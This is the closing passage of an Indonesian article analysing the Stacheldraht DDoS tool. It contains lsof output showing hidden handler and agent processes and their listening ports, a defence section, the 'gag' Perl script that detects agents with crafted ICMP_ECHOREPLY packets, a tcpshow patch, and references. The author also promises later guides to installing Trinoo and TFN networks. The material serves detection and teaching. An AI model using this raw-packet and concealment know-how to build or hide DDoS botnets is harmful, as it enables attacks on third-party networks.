mserv   1072 root  cwd    DIR    3,3    2048 40961 /tmp/...
mserv   1072 root  rtd    DIR    3,3    1024     2 /
mserv   1072 root  txt    REG    3,3   50506 41421 /tmp/.../mserv
mserv   1072 root  mem    REG    3,3  342206 30722 /lib/ld-2.1.1.so
mserv   1072 root  mem    REG    3,3   63878 30731 /lib/libcrypt-2.1.1.so
mserv   1072 root  mem    REG    3,3 4016683 30729 /lib/libc-2.1.1.so
mserv   1072 root    0u   CHR  136,4             6 /dev/pts/4
mserv   1072 root    1u   CHR  136,4             6 /dev/pts/4
mserv   1072 root    2u   CHR  136,4             6 /dev/pts/4
mserv   1072 root    3u  sock    0,0          2143 can't identify protocol
mserv   1073 root  cwd    DIR    3,3    2048 40961 /tmp/...
mserv   1073 root  rtd    DIR    3,3    1024     2 /
mserv   1073 root  txt    REG    3,3   50506 41421 /tmp/.../mserv
mserv   1073 root  mem    REG    3,3  342206 30722 /lib/ld-2.1.1.so
mserv   1073 root  mem    REG    3,3   63878 30731 /lib/libcrypt-2.1.1.so
mserv   1073 root  mem    REG    3,3 4016683 30729 /lib/libc-2.1.1.so
mserv   1073 root    0u   CHR  136,4             6 /dev/pts/4
mserv   1073 root    1u   CHR  136,4             6 /dev/pts/4
mserv   1073 root    2u   CHR  136,4             6 /dev/pts/4
mserv   1073 root    3u  inet   2144           TCP *:16660 (LISTEN)
mserv   1088 root  cwd    DIR    3,3    2048 40961 /tmp/...
mserv   1088 root  rtd    DIR    3,3    1024     2 /
mserv   1088 root  txt    REG    3,3   50506 41421 /tmp/.../mserv
mserv   1088 root  mem    REG    3,3  342206 30722 /lib/ld-2.1.1.so
mserv   1088 root  mem    REG    3,3   63878 30731 /lib/libcrypt-2.1.1.so
mserv   1088 root  mem    REG    3,3 4016683 30729 /lib/libc-2.1.1.so
mserv   1088 root    0u   CHR  136,4             6 /dev/pts/4
mserv   1088 root    1u   CHR  136,4             6 /dev/pts/4
mserv   1088 root    2u   CHR  136,4             6 /dev/pts/4
mserv   1088 root    3r  FIFO    0,0          2227 pipe
mserv   1088 root    5w  FIFO    0,0          2227 pipe
mserv   1091 root  cwd    DIR    3,3    2048 40961 /tmp/...
mserv   1091 root  rtd    DIR    3,3    1024     2 /
mserv   1091 root  txt    REG    3,3   50506 41421 /tmp/.../mserv
mserv   1091 root  mem    REG    3,3  342206 30722 /lib/ld-2.1.1.so
mserv   1091 root  mem    REG    3,3   63878 30731 /lib/libcrypt-2.1.1.so
mserv   1091 root  mem    REG    3,3 4016683 30729 /lib/libc-2.1.1.so
mserv   1091 root    0u   CHR  136,4             6 /dev/pts/4
mserv   1091 root    1u   CHR  136,4             6 /dev/pts/4
mserv   1091 root    2u   CHR  136,4             6 /dev/pts/4
mserv   1091 root    3r  FIFO    0,0          2240 pipe
mserv   1091 root    4u  inet   2215           TCP
192.168.0.1:16660->10.0.0.1:1029 (ESTABLISHED)
mserv   1091 root    5w  FIFO    0,0          2240 pipe
------------------------------------------------------------------------------


Agent akan terlihat seperti ini:


------------------------------------------------------------------------------
# lsof -c ttymon
COMMAND PID USER   FD   TYPE DEVICE    SIZE  NODE NAME
ttymon  437 root  cwd    DIR    3,1    1024 37208 /usr/lib/libx/...
ttymon  437 root  rtd    DIR    3,1    1024     2 /
ttymon  437 root  txt    REG    3,1  324436 37112 /usr/lib/libx/.../ttymon
ttymon  437 root  mem    REG    3,1  243964 29140 /lib/libnss_files-2.1.1.so
ttymon  437 root  mem    REG    3,1 4016683 29115 /lib/libc-2.1.1.so
ttymon  437 root  mem    REG    3,1  342206 28976 /lib/ld-2.1.1.so
ttymon  437 root    3u  sock    0,0           779 can't identify protocol
ttymon  449 root  cwd    DIR    3,1    1024 37208 /usr/lib/libx/...
ttymon  449 root  rtd    DIR    3,1    1024     2 /
ttymon  449 root  txt    REG    3,1  324436 37112 /usr/lib/libx/.../ttymon
ttymon  449 root    0u  inet    811           TCP *:32222 (LISTEN)
ttymon  449 root    3u  sock    0,0           779 can't identify protocol
------------------------------------------------------------------------------


Pertahanan


Karena  program menggunakan paket ICMP_ECHOREPLY untuk komunikasinya, maka akan 
sangat sulit (jika tidak mustahil) untuk menghalanginya tanpa mematahkan program 
Internet yang bersandar pada ICMP. Dalam Phrack magazine disebutkan :

	“The only sure way to destroy this channel is to deny ALL
	ICMP_ECHO traffic into your network”

Salah satu jalan dalam pertahanan yang real adalah selalu meng-up to date * semua * 
system dengan security patches, services yang tidak perlu dimatikan, dan administrator 
sistem berkompeten  untuk menjalankan dan memonitoring tiap-tiap sistem Unix pada 
network-nya. (“stacheldrahter” akan menahan nafas panjang kalo semua sysadmin 
ngelakuin itu, OK?…………..:). 


Sebenarnya artikel tentang stacheldraht ini belum sepenuhnya saya bahas (di antaranya 
yang belum saya bahas adalah ; tentang kelemahan Stacheldraht dan tentang tahap-tahap 
evolusi selanjutnya yang akan terjadi pada tools DDos+++dilain waktu akan saya bahas
Udah dulu yah…lagi pegel nih….kapan2 sambung lagi…(aRTiKeL YaNg SeLAnJUtnya aKaN OguT 
PubLikaSikAn aDaLah CARA INSTALLASI TRINOO NETWORK, TFN, TFN2K, dll. 


A. “Gag” Perl Script yang digunakan untuk mendeteksi Stacheldraht Agen :


-------------------------------  potong disini  -----------------------------------
#!/usr/bin/perl
#
# gag v. 1.0
# By Dave Dittrich 
# 
# Send an ICMP_ECHOREPLY packet with ID of 668 to a stacheldraht
# agent, causing it to reply to the sending host with an
# ICMP_ECHOREPLY packet with an ID of 669 and the string "sicken\n"
# in the data field of the packet.  Watch for this with tcpdump,
# ngrep, sniffit, etc., e.g.:
#
#	# tcpdump -s 1500 -w stach.dump 'icmp[4:2] = 669'
#	# tcpshow < stach.dump
#  or
#       # ngrep -x '*' 'icmp[4:2] = 669'
#
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./gag [options] iplist
#
# (This code was hacked from the "macof" program, written by
# Ian Vitek )

require 'getopts.pl';
use Net::RawIP;
require 'netinet/in.ph';

$a = new Net::RawIP({icmp => {}});
chop($hostname = `hostname`);

Getopts('a:c:f:i:vh');
die "usage: $0 [options] iplist\
\t-a arg\t\tSend command argument 'arg' (default \"gesundheit!\")\
\t-c val\t\tSend command value 'val' (default 668 - ID_TEST)\
\t-f from_host\t\t(default:$hostname)\
\t-i interface \t\tSet sending interface (default:eth0)\
\t-v\t\t\tVerbose\
\t-h This help\n" unless ( !$opt_h );

# set default values
$opt_i = ($opt_i) ? $opt_i : "eth0";
$opt_a = ($opt_a) ? $opt_a : "gesundheit!";
$opt_c = ($opt_c) ? $opt_c : "668";

# choose network card
if($opt_e) {
  $a->ethnew($opt_i, dest => $opt_e);
} else {
  $a->ethnew($opt_i);
}

$s_host = ($opt_f) ? $opt_f : $hostname;

if ($ARGV[0]) {
  open(I,") {
    chop;
    push(@list,$_);
  }
  close(I);
}

# Put value in network byte order (couldn't get htons() in
# "netinet/in.ph" to work. Go figure.)
$id = unpack("S", pack("n", $opt_c));

foreach $d_host (@list) {
  $a->set({ip => {saddr => $s_host, daddr => $d_host},
           icmp => {type => 0, id => $id, data => $opt_a}
          });
  print "sending packet [$opt_c/\"$opt_a\"] to $d_host\n" if $opt_v;
  $a->send;
}

exit(0);
------------------------------- potong disini -----------------------------------


B. Patches tcpshow 1. 0,  untuk display ICMP ECHO id/seq :



----------------------------------------------------------------------

diff -c tcpshow/tcpshow.c tcpshow.orig/tcpshow.c
*** tcpshow/tcpshow.c	Mon Dec 27 16:21:54 1999
--- tcpshow.orig/tcpshow.c	Thu Oct 21 14:12:19 1999
***************
*** 1081,1088 ****
     uint2 nskipped;
     uint1 type;
     char *why;
-    uint2 echo_id;
-    uint2 echo_seq;
  
  
     type = getbyte(&pkt);  nskipped  = sizeof(type);
--- 1081,1086 ----
***************
*** 1093,1103 ****
     /* Must calculate it from the size of the IP datagram - the IP header.*/
     datalen -= ICMPHDRLEN;
  
-    if (type == ECHO_REQ || type == ECHO_REPLY) {
-       echo_id = getword(&pkt); nskipped += sizeof(cksum);
-       echo_seq = getword(&pkt); nskipped += sizeof(cksum);
-    }
- 
     why = icmpcode(type, code);
     if (dataflag) {
        printf(
--- 1091,1096 ----
***************
*** 1120,1129 ****
  	 icmptype(type), why? "\n\tBecause:\t\t\t": "", why? why: ""
        );
        printf("\tChecksum:\t\t\t0x%04X\n", cksum);
-       if (type == ECHO_REQ || type == ECHO_REPLY) {
-          printf("\tId:\t\t\t\t0x%04X (%d)\n", echo_id, echo_id);
-          printf("\tSequence:\t\t\t0x%04X (%d)\n", ntohs(echo_seq), ntohs(echo_seq));
-       }
     }
  
     return pkt;
--- 1113,1118 ----
***************
*** 1194,1200 ****
        printf("\tVersion:\t\t\t4\n\tHeader Length:\t\t\t%d bytes\n", hlen);
        printf("\tService Type:\t\t\t0x%02X\n", (uint2)servtype);
        printf("\tDatagram Length:\t\t%d bytes\n", dgramlen);
!       printf("\tIdentification:\t\t\t0x%04X (%d)\n", id, id);
        printf(
  	 "\tFlags:\t\t\t\tMF=%s DF=%s\n",
  	 (flags & MF) == MF? on: off, (flags & DF) == DF? on_e: off_e
--- 1183,1189 ----
        printf("\tVersion:\t\t\t4\n\tHeader Length:\t\t\t%d bytes\n", hlen);
        printf("\tService Type:\t\t\t0x%02X\n", (uint2)servtype);
        printf("\tDatagram Length:\t\t%d bytes\n", dgramlen);
!       printf("\tIdentification:\t\t\t0x%04X\n", id);
        printf(
  	 "\tFlags:\t\t\t\tMF=%s DF=%s\n",
  	 (flags & MF) == MF? on: off, (flags & DF) == DF? on_e: off_e


----------------------------------------------------------------------


C. Referensi :

David Dittrich. 
	http://staff.washington.edu/dittrich/

The "Tribe Flood Network" distributed denial of service attack tool
	http://staff.washington.edu/dittrich/misc/tfn.analysis

The DoS Project's "trinoo" distributed denial of service attack tool
	http://staff.washington.edu/dittrich/misc/trinoo.analysis

R. Wright., Addison-Wesley.
	TCP/IP Illustrated, Vol. I, II, and III. W. Richard Stevens and Gary

Distributed denial of service attack tools at Packet Storm Security
	http://packetstorm.securify.com/distributed/

CERT Distributed System Intruder Tools Workshop report
	http://www.cert.org/reports/dsit_workshop.pdf

CERT Advisory CA-99-17 Denial-of-Service Tools
	http://www.cert.org/advisories/CA-99-17-denial-of-service-tools.html

ngrep:
	http://www.packetfactory.net/ngrep/

tcpdump:
	ftp://ftp.ee.lbl.gov/tcpdump.tar.Z

tcpshow:
	http://packetstorm.securify.com/linux/trinux/src/tcpshow.c

sniffit:
	http://sniffit.rug.ac.be/sniffit/sniffit.html


Net::RawIP:
	http://quake.skif.net/RawIP

loki client/server:
	Phrack Magazine, Volume Seven, Issue Forty-Nine,
	File 06 of 16, [ Project Loki ]
	http://www.phrack.com/

	Phrack Magazine  Volume 7, Issue 51 September 01, 1997,
	article 06 of 17 [ L O K I  2   (the implementation) ]
	http://www.phrack.com/

libnet:
	http://www.packetfactory.net/libnet


D. thanx’s  to :



Senyumnet Company:
Topan, Evan, Zipel, Wiwit, Riko, Tyo, Abang Afudz, dll. 
(sorry,…that’s your  real name..!!???)

Nixxxer_overrun (japan):
Thank’s for your advices and allow me to use your network….(I guess you must 
change your script, it’s very disturbing me…ain’t “child” sucker…!!!!J)




Kirim kritik dan saran ke : hilman_hands@yahoo.com
Comments